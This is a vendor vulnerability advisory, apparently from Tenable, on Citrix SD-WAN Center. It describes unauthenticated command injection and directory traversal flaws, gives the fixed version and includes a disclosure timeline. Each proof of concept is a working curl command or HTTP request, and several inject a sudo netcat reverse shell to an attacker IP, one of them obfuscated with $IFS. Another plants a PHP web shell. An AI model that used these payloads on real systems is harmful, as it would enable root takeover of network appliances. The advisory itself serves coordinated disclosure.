Multiple vulnerabilities were discovered in Citrix SD-WAN Center. Note: Since the 'www-data' user has been given 'sudo' privileges, all of the vulnerabilities can be exploited to gain root access.
#### /Collector/diagnostics/ping Unauthenticated Command Injection
The "ping" action in DiagnosticsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the ping function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for 'ipAddress', 'pingCount', or 'packetSize'.
##### Proof of Concept
```
ncip=192.168.1.191
ncport=4444
target=192.168.1.198
curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+'$ncip'+'$ncport'+-e+/bin/bash%60' https://$target/Collector/diagnostics/ping
```
#### /Collector/diagnostics/trace_route Unauthenticated Command Injection
The "trace_route" action in DiagnosticsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the trace_route function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for 'ipAddress'.
##### Proof of Concept
```
ncip=192.168.1.191
ncport=4444
target=192.168.1.198
curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+'$ncip'+'$ncport'+-e+/bin/bash%60' https://$target/Collector/diagnostics/trace_route
```
#### /Collector/storagemgmt/apply Unauthenticated Command Injection
The "apply" action in StorageMgmtController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for 'action', 'host', 'path', or 'type'.
##### Proof of Concept
```
ncip=192.168.1.191
ncport=4444
target=192.168.1.198
curl --insecure 'https://'$target'/Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60sudo+/bin/nc+-nv+'$ncip'+'$ncport'+-e+/bin/bash%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype'
```
#### /Collector/nms/addModifyZTDProxy Unauthenticated Command Injection
The "addModifyZTDProxy" action in NmsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the addModifyZTDProxy function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for 'ztd_password'.
##### Proof of Concept
```
ncip=192.168.1.191
ncport=4444
target=192.168.1.198
curl --insecure 'https://'$target'/Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(sudo$IFS/bin/nc$IFS-nv$IFS$(/bin/echo$IFS-e$IFS\x3'$ncip')$IFS$(/bin/echo$IFS-e$IFS\x3'$ncport')$IFS-e$IFS/bin/bash)'
```
#### /Collector/appliancesettings/applianceSettingsFileTransfer Unauthenticated Directory Traversal File Write
The "applianceSettingsFileTransfer" action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for 'filename', 'filedata', and 'workspace_id'. This vulnerability can be exploited to write files to locations writable by the 'www-data' user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
##### Proof of Concept
```
ncip=192.168.1.191
ncport=4444
target=192.168.1.198
curl --insecure -d 'filename=../../../../../../home/talariuser/www/app/webroot/files/shell.php&filedata=' https://$target/Collector/appliancesettings/applianceSettingsFileTransfer
curl --insecure https://$target/talari/app/files/shell.php
```
#### /Users/create Authenticated Command Injection
The "create" action in UsersController is susceptible to command injection by a remote, authenticated attacker. Specifically, the create function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by supplying a crafted value for 'level'. Note: when $level is compared to an integer value (using ==), it is converted to 0 (int). This is why validation passes. Type checking would help here (===).
##### Proof of Concept
```
POST /Users/create HTTP/1.1
Host: 192.168.1.198
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.198/Users?rdx=true
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 149
Connection: close
Cookie: urlhashcomponent=; VWCSession=15jjk7584jmn9v5na2q6gspnc3
username=scooby&level=`sudo+touch+/var/tmp/vuln_6`&password=password&confirm_password=password&secAuth=false&csrf_token=9b97e4423f0f0bdf18e089b2de3c8e78
root@SD-WANCenter:/opt/citrix/licensing/LS# ls -l /var/tmp
total 0
-rw-r--r-- 1 ctxlsuser lmadmin 0 Apr 12 01:32 lockCITRIX
-rw-r--r-- 1 root root 0 Apr 12 02:49 vuln_6
```
### Solution
Upgrade to version 10.2.3.
### Disclosure Timeline
04/17/2019 - Disclosure sent to secure@citrix.com. 90 day date is July 17, 2019.
04/17/2019 - Citrix acknowledges receipt of the report and assigns an identifier of CASE-7736.
05/01/2019 - Tenable asks for update.
05/01/2019 - Citrix is unable to reproduce the bugs without authentication. Asks for clarification.
05/02/2019 - Tenable sends new PoC's in the form of curl commands to hopefully clarify the vulnerabilities.
05/03/2019 - Citrix thanks Tenable for the additional details. They will be in touch as soon as they have any new information.
05/10/2019 - Tenable follows up to see if the new PoC's aided with the reproduction.
05/10/2019 - Citrix is able to reproduce the bugs without authentication. Thanks Tenable for the additional info. They do not have a schedule for the release but will keep us informed.
05/10/2019 - Tenable thanks Citrix for the update. Reminds Citrix of 90-day policy. Also we ask if they will make the 90-day date.
05/10/2019 - Tenable asks if we need to assign the CVEs and if Citrix will be releasing a bulletin.
05/13/2019 - Citrix will handle CVE assignment. They will also ensure all fixes and a security bulletin will be available before July 17th, 2019.
05/13/2019 - Tenable thanks Citrix for the update.
06/11/2019 - Tenable notices 10.2.3 was just released. Asks Citrix if these bugs were fixed because we can't download the new version successfully.
06/12/2019 - Response from Citrix: "Citrix will publish which versions have relevant fixes when we publish our Security Bulletin with respect to your findings and these issues." Citrix also reconfirms disclosure date.
06/12/2019 - Tenable informs Citrix that we will be moving the disclosure date to Aug 21 in order to disclose more SD-WAN vulnerabilities in bulk.
06/12/2019 - Citrix acknowledges the new disclosure date. Citrix will reach out closer to the disclosure date to coordinate how to credit Tenable in the security bulletin.
06/13/2019 - Tenable acknowledges.
06/26/2019 - Citrix advises that they are planning to release a public bulletin within the next two weeks. They hope to have a more specific date in the next few days. Asks Tenable how to give credit.
06/27/2019 - Tenable acknowledges. Asks to be updated when a more specific date is decided on. Credit looks good. Asks about CVE identifiers and the patched version number.
07/02/2019 - Tenable asks for an update.
07/02/2019 - Tenable notices that version 10.2.3 patches all issues. Advisory released.
暂无评论